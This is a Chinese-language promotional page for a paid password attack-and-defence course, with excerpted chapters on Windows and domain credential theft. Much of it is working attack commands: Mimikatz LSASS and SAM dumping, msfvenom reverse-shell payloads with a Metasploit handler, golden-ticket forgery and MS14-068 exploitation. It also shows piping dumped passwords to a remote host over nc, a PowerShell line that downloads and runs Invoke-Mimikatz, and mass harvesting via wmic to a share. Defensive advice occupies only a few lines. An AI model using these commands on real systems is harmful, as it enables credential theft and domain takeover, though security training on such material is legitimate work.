本课程内容将以作者亲身经历的事情为主,从技术的视野和攻防角度来剖析各种密码及其他技术对工作和个人生活的影响,将“高高在上”的技术拉进我们日常的生活中来。每一篇文章都是精挑细选的典型案例,背后都有真实故事和场景,以技术的方式来再现和还原。
非技术专业读者可以通过这些文章来了解和预防各种涉及密码的攻击,从事技术工作的读者可以按照文章的搭建环境进行实战实践。由于篇幅有限,密码攻防涉及的技术非常多,对更多关于密码攻防技术感兴趣的读者,可以关注作者出版的图书《黑客攻防实战加密与解密》第 1 版和第 2 版,将所有涉及密码的实战攻防全部聚集在该书中。
作者从事网警工作八年,一直从事网络安全技术方面的研究,《密码安全攻防技术精讲》旨在帮助读者通过了解密码安全来预防黑客及黑色产业链攻击。
陈小兵是一位非常资深的网络安全专家,也是一名非常高产的科普型专著作者。他的书籍都是从基础讲起,结合实际案例,再引申到更高的理论层面,让读者读起来有高屋建瓴之感。他的多部书籍我均作为培训教材给小伙伴儿们推荐,是安全人才提升网络安全能力的有效途径。
本课程是陈小兵师傅的又一力作,能够充分结合人们的日常生活和工作实际,将高深的密码安全知识以最浅显的方式呈现在众人眼前。不管是个人、公司员工、网络安全防护人员以至于渗透测试工作者,都能够在本课程中找到自己需要的那一部分,对提升密码安全防护意识和能力有着莫大的帮助。
——叶猛,现 360 企业安全高级总监、第一批公安部特聘网络安全专家、著名网络安全团队 Xeye 及 SealGod 创始人之一。
陈小兵,高级工程师,北理工计算机学院博士在读;拥有丰富的信息系统项目经验以及 18 年以上的网络安全经验。原公安部专家,现主要从事网络安全及数据库技术研究工作。
已出版《黑客攻防实战案例解析》、《Web 渗透技术及实战案例解析》、《安全之路 Web 渗透技术及实战案例解析》等 8 本专著,在国内核心期刊及普通学术期刊发表论文 20 余篇,曾在《黑客防线》、《黑客 X 档案》等杂志发表文章 100 余篇。
在补天及乌云漏洞平台白帽子,曾提交 200 余个漏洞,曾渗透国内多个大型企业内网,获取整个网络权限。
曾被首都师范大学聘为信息安全授课老师,多次在北京理工大学研究生院、北京航空航天大学研究生院、电子工业出版社、人民日报海外网以及国家等多个政府部门进行安全技术交流和培训。
读者朋友们好,我是陈小兵,网名 simeon,从事网络攻防超过 18 个年头,见证了网络安全的兴衰成败,见证了网络安全的辉煌与成就。在近 10 年的公安工作中,碰到过无数个被网络诈骗的报案者,轻者损失几千元,严重的损失上百万元;我希望事前能够帮到他们,事后能够追回损失的屈指可数!网络攻防对抗最激烈的是无形的“战争”——黑产想尽一切办法从用户银行卡等账号中弄到钱,而“密码”是所有财富账号的一道安全门,如果密码不安全,那么你的钱就相当于裸奔!在 AIC 安全三原则中,必须保证安全对象的可用性、完整性和机密性,而密码则是保持机密性的一种重要手段及应用。很多人不了解网络攻防世界中的密码,以为只要我设置了密码就安全,密码安全涉及你我他,安全的密码可以降低损失,减少被入侵的成功几率。
我一直致力于把那些值得更加深入讨论的话题和内容以图文的形式记录下来。随着日渐积累,已经出版了 8 本网络攻防实战著作(《黑客攻防实战案例解析》、《Web 渗透技术及实战案例解析》、《安全之路 Web 渗透技术及实战案例解析》、《黑客攻防实战加密与解密》、《网络攻防实战研究:漏洞利用与提权》、《网络攻防实战研究:MySQL 数据库攻击与防御》、《网络攻防实战研究:网络攻防实战技术》、《Web 服务器渗透实战》)。
有人认为我计算机设置了密码,我的电脑就是安全的,其实这是一种片面的理解,在公司环境中,个人计算机如果未做保护,获取个人计算机密码轻而易举。
当计算机未锁屏,心怀不轨的人或者想窃取工作的成果,可是使用 U 盘,将 Mimikatz 复制到 U 盘,仅仅需要输入四行命令即可获取密码,密码结果会保存在 U 盘中:
mimikatzlogprivilege::debugsekurlsa::logonpasswords
在《Mimikatz 获取系统密码攻防研究》中还对如何获取域控密码等技术进行讨论和研究。
通过插入 U 盘启动或者 Kali、BT5、PE 等可以直接获取系统中的 SAM、Securtiy 和 System 文件,将这些文件复制下来后,可以直接进行密码破解,在内网环境中可以通过哈希传递来获取管理员权限。
只要知道服务器 KVM、远程访问管理卡管理员口令,也可以轻松获取服务器权限,密码保存不安全,可在服务器中任意行!
很多公司服务器经常发现被黑,发现被黑客用来挂黑链、做肉鸡、用来挖矿,2017 年后很多公司服务器被勒索病毒威胁,不给钱就瘫痪!如果你了解这些,可以减低一大半攻击!
很多公司网站目前都提高了安全等级,架设了 Waf、对 SQL 注入等都进行了防范,但是很多个人账号和管理账号都是弱口令,只要服务器在公网上,就不可避免一天 24 小时被扫描和攻击,只要有万一之一几率被突破,很有可能你就无法避免被渗透。
在本课程中对数款暴力破解 SSH 的攻击工具进行研究,只要密码在攻击字典中,有一定的攻击经验就能获取 SSH 账号,只要获取了 SSH 账号密码,就可以做很多事情,笔者在研究中还发现自动攻击病毒,通过暴力破解,破解成功后将该服务器控制,然后再次进行扫描攻击,而且还将该服务器做矿机进行挖矿等非法活动。知道了 SSH 扫描就知道该如何在服务器上设置策略进行安全防范。
MySQL 是世界上非常著名的数据库,很多公司都是用其来做数据库系统,这些数据库中的内容往往就是攻击者的目标,在实战中对 MySQL 账号进行扫描是常见攻击手段之一,获取了 MySQL 账号口令后,有些情况下还能直接提权,获取服务器权限。
在内网环境中,很多管理员都认为,内网相对难于被攻击,其实不然,内网是最有价值的网络,是攻击的核心目标区,在通过 APT 或者公司内网连接的 Web 服务器渗透成功后,通过代理工具可以很方便的进入内网,在内网进行横向和纵向渗透,内网 CMS 系统、数据库弱口令、多台服务器设置成同一密码,对黑客来说,进入内网如无人之境!
笔者接触的很多个人和公司被电信诈骗、网络诈骗的案例,在没有被骗前都觉得这个手段这么简单,我怎么可能被骗呢?殊不知那些黑产从业者对攻击目标都是精心设计的,一环套一环,一旦个人遇到问题,心里素质不好的,直接就崩溃了,对方说怎么办就怎么办,很多被骗的人都是高素质人才。只有加强个人防范,知己知彼、百战不殆,了解哪些密码是打死我也不说,哪些手段可能带来安全风险,知道如何应对,那么个人被骗的几率将会降低很多。例如,现在很多骚扰电话,可以通过设置来电防护墙来加强,对不熟悉的人,不要说太多,无关的直接挂掉——对方一看就知道不好骗,后续就放弃了!
(1)我无所不能——无线网络里面的秘密
不是每个无线都可以连接,很早以前有人在酒店,通过密码嗅探,诱使被攻击者参与棋牌内游戏,攻击者通过远程控制软件可以查看参与者的桌面,知道对方的筹码,想怎么赢钱就怎么赢钱!在无线咖啡厅,笔者曾经做过一个实验,接入网络后,直接开启 cain 嗅探,不到 10 分钟,就截获了数个邮箱账号及其密码等敏感信息。
(2)请帮我我追回公司被骗 80 万美金(某公司被骗 80 万美元——境外诈骗集团追踪分析和案件打击揪心之疼)。
这是一个真实的案例,朋友找我帮忙,告诉我,被骗了 80 万美金,通过分析追踪,发现攻击者是通过钓鱼攻击获取邮箱密码,通过分析公司邮件信息,伪造贸易往来对方公司邮箱,进而实施诈骗,所有注册信息均在国外,所有注册信息都是精心伪造,能够成功追回的希望很渺茫,笔者穷尽所有技术手段和思路对其进行侦查、追踪!这种案子已经碰到了第5起,希望看了本课程的朋友及公司不再被骗。
有部分人认为黑客很神秘,其实不然,所有的攻击和渗透都是以知识点为基础,只要掌握了这些知识点,对目标进行攻击测试,只要存在漏洞,根据相应的漏洞利用方法,就可以达到预期的攻击效果。本课程内容主要介绍涉及个人计算机、公司服务器等各种场景中的密码攻防场景,内容上由浅入深,通过学习将掌握以下内容:
课程里的每一个示例,都是经过精挑细选的来自真实环境的渗透,都是一个图文并茂的渗透故事,相信通过本课程的学习将掌握来自真实环境网络攻防的魅力。
下面是课程的详细目录,篇篇干货、深入浅出,有技术基础的读者可以根据文章进行技术的在线和还原,只要跟着我的思路来,基础再差,我保证你也能学会。
在目前这个比较浮躁的社会,掌握一技之长至关重要,知识掌握在自己的大脑中,任何人都拿不走,多那么一点知识储备,在未来的竞争中就会多那么一点机会。网络攻防在外人看起来很难,相信通过本课程的学习,你会发现,只要掌握了相应的知识点,碰到问题将会迎刃而解!其实,网络攻防的每一个成功渗透都有一个技术知识点,只要你掌握了,就如同武林秘籍,只要对方存在这个漏洞,利用这个方法 99% 的可以再现和成功利用。这里有人要问了,为什么不是 100%?在实际利用过程中,或许是环境和配置问题,比如错误配置,无法正常运行,是有漏洞,但条件不具备,所以不能成功的利用。所以说,无论是毫无基础的安全小白,还是初涉安全专业的高校学生,亦或是安全领域从业人员,本课程都能让你各取所需,熟练掌握密码攻防相关知识。
一直以来,笔者都在思索,网络攻防实战涉及的面太多,一个人要重头来学,耗费的时间将非常多,而且如果没有人带,真的是跟读天书一样。在 2016 年,笔者尝试将攻防过程的所有涉及密码加密与解密的知识点整理、系统化、理论化,出版了《黑客攻防实战加密与解密》一书,后续又不停完善、提高,才有了本课程,在早期笔者还对相关知识点进行专题化研究、极致化研究、穷尽化研究,研究和阅读大量国内外相关文献、文章和资料,对这些知识点进行总结、提炼,用通俗易懂的语言进行介绍和分享,对于有疑问的地方,大家可以随时留言,我会随时解答。
也可以加小助手(微信号:soledadmg)进群(陈小兵的读者群)交流,进群暗号“陈小兵的读者”:
点击了解更多《密码安全攻防技术精讲》
Mimikatz 是法国人 benjamin 开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取 WindowsXP-2012(2016 做了安全防护,需要修改注册表值,重启后生效,可以获取明文密码)等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,从早期 1.0 版本到现在的 2.1.1 20180205 版本,其功能得到了很大的提升和扩展。
Mimikatz 最新版本一共三个文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分为 Win32 位(多了一个 mimilove.exe 文件)和 X64 位。通过它们可以提升进程权限、注入进程读取进程内存,可以直接从 Lsass 中获取当前登录过系统用户的账号明文密码。Lsass 是微软 Windows 系统的安全机制它主要用于本地安全和登录策略,通常我们在登录系统时输入密码之后,密码便会储存在 lsass 内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而 Mimikatz 正是通过对 Lsass 的逆算获取到明文密码!
本文以 Mimikatz 最新版为例,介绍了 Mimikatz 的参数、获取密码以及伪造黄金票据获取域控密码等用户,利用 ms14-068 结合 Mimikatz 获取域控密码等,最后文中还给出了相应的防范方法,对网络攻防都具有一定的借鉴意义。
请单击这里获取最新版下载地址。
下载后解压缩即可,里面分为 Win32 和 X64,Win32 是针对 Windows32 位,而 X64 是正对 64位操作系统,目前绝大部分操作系统为 64位(支持大内存的使用)。其相关资源如下:
本次测试使用 Win32 版本,将程序解压后,通过 cmd 进入当前目录,执行 Mimikatz 程序,如图1所示,随便输入即可获取帮助信息。
图1 显示帮助信息
输入“::”显示其支持模块信息。
(1)standard:标准模块,基本命令,不需要模块信息。
(2)crypto:加密模块,其后跟以下参数,其使用命令为 crypto:: 参数名,例如 crypto::providers,如图2所示。
图2 参考加密算法提供类型及名单
(3)sekurlsa 枚举用户凭证
DPAPI_SYSTEM
密码值。(4)kerberos:Kerberos 包模块
(5)privilege:特权模块
(6)process:进程模块
(7)service:Service module
(8)lsadump:LsaDump module
Lsadump::sam:该命令转储安全帐户管理器(SAM)数据库,它包含用户密码的 NTLM,有时包含 LM 哈希。
在线命令提升模式获取:
privilege::debugtoken::whoamitoken::elevatelsadump::sam
离线获取,通过以下方式备份 SYSTEM&SAM 配置:
reg save HKLM\SYSTEM SystemBkup.hivreg save HKLM\SAM SamBkup.hiv
或者使用 Volue Shadow Copy / BootCD 来备份这些文件:
C:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SAM
然后执行 mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv 即可获取。
可在线进行破解查询。
(9)ts 终端服务模块
(10)event 事件模块
(11)misc 杂项模块,打开 cmd、regedit、taskmgr、ncroutemon、detours、wifi、addsid、memssp、skeleton 等。
(12)token:令牌操作模块
(13)vault:Windows 信任/凭证模块,Vault::list 列出 Windows 信任/凭证。
(14)net 显示 user、group、alias、session、wsession、tod、stats、share、serverinfo 等信息。
(1)创建 get.bat 脚本
@echo offmimikatz.exe pass.txtexit
(2)创建 command.txt 文件
privilege::debuginject::process lsass.exe sekurlsa.dll @getLogonPasswordsExit
(3)执行 get.bat 文件即可获取密码,pass.txt 记录的即为获取的密码,get.bat、command.txt 和 mimikatz.exe 在同一个文件夹下。
(1)sekurlsa 获取
privilege::debugsekurlsa::logonpasswords
(2)Lsadump 获取密码
Lsadump::secrets
(1)生成[email protected]
票据
ms14-068.py -u [email protected] -p venus123@ -s S-1-5-21-1825629200-489098874-1280338471-1104 -d admin.com
(2)导入票据
mimikatz kerberos::ptc c:/[email protected]
在 Windows 2008 及以上操作系统中执行命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
注意:获取密码的计算机必须能够访问 raw.githubusercontent.com 网络,也可以将该 ps 文件下载到其他地址,然后替换后执行。该脚本目前在 Win2014 中只能获取 NTLM 值,无法获取明文密码,如图3所示。
图3 通过 ps 脚本获取密码值
(1)需要生成一个反弹的可执行程序或者通过漏洞直接获取一个反弹的 shell。下面是通过 msfvenom 生成 shell:
(1)Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf(2)Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe(3)Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho(4)PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php(5)asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp(6)JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp(7)WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.warScripting Payloads(8)Python:msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py(9)Bash:msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh(10)Perl:msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl(11)Linux Based Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f (12)Windows Based Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f (13)Mac Based Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f
在架构中比较好用的有两个cmd/powershell_base64和x86/shikata_ga_nai
,下面生成一个实例(反弹的服务器 IP 为 192.168.106.133):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exe
(2)运行 msfconsole 并设置:
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.106.133set lport 4444run或者exploit
(3)在测试计算机上运行 exe 文件。
(4)在 msf 获取反弹的 shell,如图5所示。
kerberos 获取网络认证协议凭证,其中可能会有明文密码 msv 获取msv 凭证,其中包含LM和NTLM哈希密码值 wdigest 获取wdigest (摘要式身份验证)凭证,其中可能会有明文密码
以域控 test.local 为例子,mimikatz 在 c:\test\ 目录下。
在域控上执行通过 mimkatz 输出:
mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
找到如下信息:
/domain:test.local/sid:S-1-5-21-4155807533-921486164-2767329826/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
伪造的用户设置为 god,执行:
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi"
生成文件 gold.kirbi。
伪造 Golden Ticket 获得域控权限,导入 Golden Ticket,执行如下命令:
kerberos::ptt c:\test\gold.kirbi
目前网上有 Python 脚本的利用方法,其下载地址请单击这里,具体方法如下:
(1)获取 SID
(2)生成 tgt 文件
ms14-068.py -u [email protected] -s S-1-5-21-3314867233-3443566213-336233174-500-d DC2. antian365.local
会在当前命令目录生成一个 TGT_ antian365@ antian365.local.ccache 文件,将该文件复制到 mimikatz 目录。
(3)导入 tgt 文件
mimikatz.exe log "kerberos::ptc TGT_ antian365@ antian365.local.ccache" exit
(4)查看并获取域控权限
net use \\DC2. antian365.local\admin$ //注:使用IP可能会失败 dir \\DC2. antian365.local\c$
(5)klist 查看票据,klist 仅仅在 Win2008 以上可以查看。
(1)使用 ms14_068 模块
use auxiliary/admin/kerberos/ms14_068_kerberos_checksumset DOMAIN DEMO.LOCALset PASSWORD antian365set USER antian365set USER_SID S-1-5-21-3314867233-3443566213-336233174-500set RHOST WIN-T.demo.local run
生成一个形如time_default_ip_windows.kerberos_num.bin
的文件。
(2)导入 bin 文件
kerberos::clist "time_default_ip_windows.kerberos_num.bin" /export/
保存为 [email protected] 文件。
(3)使用生成的 kirbi
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 172.16.158.1exploitgetuidload mimikatzkerberos_ticket_use /tmp/0-00000000- [email protected]
(4)获取域控权限
use exploit/windows/local/current_user_psexecset TECHNIQUE PSHset RHOSTS WIN-T.demo.localset payload windows/meterpreter/reverse_tcpset lhost 172.16.158.1set SESSION 1exploitgetuid
(1)获取并记录密码到 mimikatz.log 文件
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords "" exit && dir
(2)输出到本地 log.txt 文件
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt
(3)记录新密码到文件
有时候获取的哈希是旧的,这时需要记录新的登录哈希值,可以使用以下命令来记录,记录的结果在 c:\windows\system32\mimilsa.log。
mimikatz.exeprivilege::debugmisc::memssp
(4)通过 nc 命令将 mimikatz 执行结果传输到远程
nc -vlp 44444
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords "" exit | nc.exe -vv 192.168.106.145 4444
(5)通过 nc 命令远程执行 mimikatz
nc.exe -vlp 4444
;nc.exe -vv 192.168.106.145 4444 -e mimikatz.exe
。接着就会反弹到 192.168.106.145 的 4444 端口,出来一个 cmd 的窗口,可以在该窗口进行密码获取,如图4所示。
图4 nc 反弹执行命令
(6)批量获取域控密码
通常在域渗透的时候,我们可能想要获得更多的密码,针对 server08 以后的服务器获取 ntds.dit 的 hash 以后还不一定能破解出来,所以可以通过 Mimikatz 来获取明文密码,但是一台一台登录去获取会很慢且不方便,所以这里介绍一个批量的方法:
1)创建共享文件夹:
cd\mkdir opennet share open=C:\open /grant:everyone,fullicacls C:\open\ /grant Everyone:(OI)(CI)F /t
修改注册表:
reg change HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ openreg change HKLM\System\CurrentControlSet\Control\Lsa "EveryoneIncludesAnonymous" 1
修改共享目录到 open。
2)在共享目录添加下列文件:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.11:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.11\open\%COMPUTERNAME%.txt 2>&1
IP 是设置共享的主机 IP 地址。
3)运行 mongoose,默认开启端口 8080。
4)执行 wmic:
wmic /node:@serverlist.txt process call create "\\192.168.1.11\open\powershellme.cmd"
带凭证:
wmic /node:@serverlist.txt /user:PROJECTMENTOR\evi1cg /password:123 process call create "\\192.168.1.11\open\powershellme.cmd"
5)在共享目录看各个服务器的密码吧。
6)清除记录:
PS:可以使用如下命令开启 PowerShell remoting:
psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"
Mimikatz 的 Linux 平台仿造版本 mimipenguin(由 @HunterGregal 开发),mimipenguin 需要 root 权限运行,通过检索内存、/etc/shadow 文件等敏感区域查找信息进行计算,从而提取出系统明文密码。软件下载地址请单击这里,下载后运行 mimipenguin.sh 即可,如图5所示。
图 5 Linux 下直接获取密码
Kali 4.3.0 (rolling) x64 (gdm3)Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)Archlinux x64 Gnome 3 (Gnome Keyring 3.20)OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20)VSFTPd 3.0.3-8+b1 (Active FTP client connections)Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency]openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)
参考作者及网上安全防范方法主要有以下三个方法:
在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest
下新建 UseLogonCredential 值,其类型为 Dword32 位类型,值为 0 即可。
参考文章:
点击了解更多《密码安全攻防技术精讲》
很多人认为个人计算机比较安全,因为给计算机设置了密码,外人不知道设置的密码,因此也就安全了,其实这里面有很大的误解,个人计算机安全除了设置密码强健程度以外,还需要设置禁用光盘启动,禁止修改 BIOS 等。下面将介绍密码相关知识,了解这些将有助于防范黑客攻击和资料外泄。
点击了解更多《密码安全攻防技术精讲》
Windows 系统密码获取有多种方式,下面对获取 Windows 密码的思路进行总结:
insidepro.com 公司早期开发的提取密码工具,最新版本为 1.6,目前已经停止更新,其工具在 saminside 中可以获取。
Gsecdump 目前版本为 v2.0b5,由于其使用的广泛性,因此被 Google 浏览器以及杀毒软件定义为病毒,官方网站已经不提供下载地址,可以给官方([email protected])发邮件索取。
Quarks PwDump 是 Quarkslab 出品的一款用户密码提取开源工具,目前软件最新版本为 0.2b,其完整源代码可以单击这里获取,目前它支持 Windows XP/2003/Vista/7/2008 版本,且相当稳定,可以抓取 Windows 平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和 Bitlocker。
Pwdump4.02 版本中有两个文件,一个是 Pwd4.dll,另外一个是 Pwdump4.exe,在早期版本中其 dll 文件为 lsaext.dll。
Mimikatz 是法国人 benjamin 开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取 WindowsXP-2012 等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,从早期 1.0 版本到现在的 2.1.1 20180205 版本,其功能得到了很大的提升和扩展,最新版下载地址详见这里。
WCE 是一款功能强大的 Windows 平台内网渗透工具,它可以列举登录会话,并且可以添加、改变和删除相关凭据(如 LM/NT hashes)。这些功能在内网渗透中能够被利用,例如,在 Windows 平台上执行绕过 hash 或者从内存中获取 NT/LM hashes(也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击,而且体积也非常小,是内网渗透手必备工具。
通过执行 reg 命令将 SAM、System、Security 文件内容导出到文件。
reg save hklm\sam sam.hivereg save hklm\system system.hivereg save hklm\security security.hive
procdump.exe -accepteula -ma lsass.exe lsass.dmp //For 32 bitsprocdump.exe -accepteula -64 -ma lsass.exe lsass.dmp //For 64 bitssekurlsa::minidump lsass.dmpmimikatz # sekurlsa::logonPassword
通过将 Ophcrack liveCD、BT5、Kali、PE 等制作成启动光盘或者启动 U 盘,启动系统后将系统目录下的 config 文件下的 SAM 和 SECURITY 文件复制出来,通过 saminside 导入即可进行破解。
QuarksPwDump -dhl 导出本地哈希值QuarksPwDump –dhdc 导出内存中的域控哈希值QuarksPwDump -dhd 导出域控哈希值,必须指定 NTDS 文件
privilege::debugsekurlsa::logonpasswords
(1)gsecdump法:gsecdump –s >all.txt
(2)QuarksPwDump 法
ntdsutil snapshot "activate instance ntds" create quit quit//创建快照ntdsutil snapshot "mount {GUID}" quit quit // Ntdsutil挂载活动目录的快照copy MOUNT_POINT\windows\NTDS\ntds.dit c:\ntds.dit //复制快照的本地磁盘ntdsutil snapshot "unmount {GUID}" quit quit //卸载快照ntdsutil snapshot "delete {GUID}" quit quit //删除快照QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit //提权文件 hash 值
注意:获取哈希值最好都在同一台服务器上执行,也即将 QuarksPwDump.exe 直接放在导出 ntds.dit 服务器上,执行导出命令。如果仅仅将 ntds.dit 复制后下载本地可能会出现无法读取错误。如果是想下载 ntds.dit 到本地恢复还需要执行“reg save hklm\system system.hive”,将 system.hive 和 ntds.dit 全部复制到本地进行域控密码获取。网上也曾经出现一个 NTDS.dit 密码快速提取工具 ntdsdump,使用命令来快速提取:NTDSDump.exe -f ntds.dit -s SYSTEM -o Hash.txt
。
(3)使用 ms14-068 漏洞攻击域控服务器获取域控权限
ms14-068.exe -u -p -s –d 生成伪造缓存 test.ccache,然后通过 mimikatz 导入test.ccache:kerberos::ptc test.ccachenet use 命令获取域控权限:net use \\A-EE64804.TEST.LOCALdir \\A-EE64804.TEST.LOCAL\c$
通过前面的方法来获取域控密码。
安装 winlogonhack 记录程序,记录 3389 登录密码到系统目录下的 boot.dat 文件。
在 Windows 2008 及以上操作系统中执行命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
注意:获取密码的计算机必须能够访问 raw.githubusercontent.com 网络,也可以将该 ps 文件下载到其他地址,然后替换后执行。
(1)getuid 获取当前帐号为系统权限,则进行后续操作,否则通过 ps 命令去获取小于 1000 以内的 pid,执行 migrate pid 来提升权限后,继续执行后续步骤。
(2)load mimikatz。
(3)运行 mimikatz 下面的凭证获取命令:
kerberos 获取网络认证协议凭证,其中可能会有明文密码 msv 获取 msv 凭证,其中包含 LM 和 NTLM 哈希密码值 wdigest 获取 wdigest(摘要式身份验证)凭证,其中可能会有明文密码
(4)还可以执行 hashdump 来导出系统的哈希密码值。
mimikatz.exe privilege::debug log "iis::apphost /in:"%systemroot%\system32\inetsrv\config\applicationHost.config" /live" exit
mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit
发现安装有 OpenVPN,可以将其配置文件夹 config 全部复制到本地,重新覆盖后可以只用其 key 和密码或者密钥进行登录,如图1所示。
图1 复制 VPN 配置文件
对于上班的个人计算机,如果在 BIOS 中未设置安全验证和禁止光盘、网络和 U 盘启动,入侵者可以通过物理接触计算机,窃取个人计算机资料。
通过 livecd、BT5、Kali、ophcrack 等工具盘,启动系统后,将 windows\system32\config 文件夹下的 SAM、SYSTEM 和 SECURITY 文件复制出来,如图2所示。
图2 复制 SAM、Security 和 Security 文件
使用 Saminside 工具软件,选择导入 SAM、Security 和 System 文件,即从 File 中选择第一个选项,如图3所示,分别选择 SAM、Security 和 System 文件,其 NTLM 哈希值就出来了。
图3 获取用户密码哈希值
选择需要破解的密码哈希值,将其导出,然后单独复制需要破解的哈希值,在本例中为:
Administrator:500:E7108C208C467BF789985C6892014BB8:981A05EBA7EA97FA5E776705E985D15A:管理计算机域::将该值复制到 ophcrack 中进行破解,如图4所示。
图4 使用 ophcrack 进行暴力破解
LM 哈希值和 NT 哈希值复制到网站 http://www.objectif-securite.ch/ophcrack.php 进行破解,如图5所示,直接就出来了,密码为 mmd-333cyx。
图5 通过网站在线破解
通过笔者研究,可以通过以下一些方法和措施来加强个人计算机安全。
点击了解更多《密码安全攻防技术精讲》
阅读全文: http://gitbook.cn/gitchat/column/5afbf24f753289354cab7983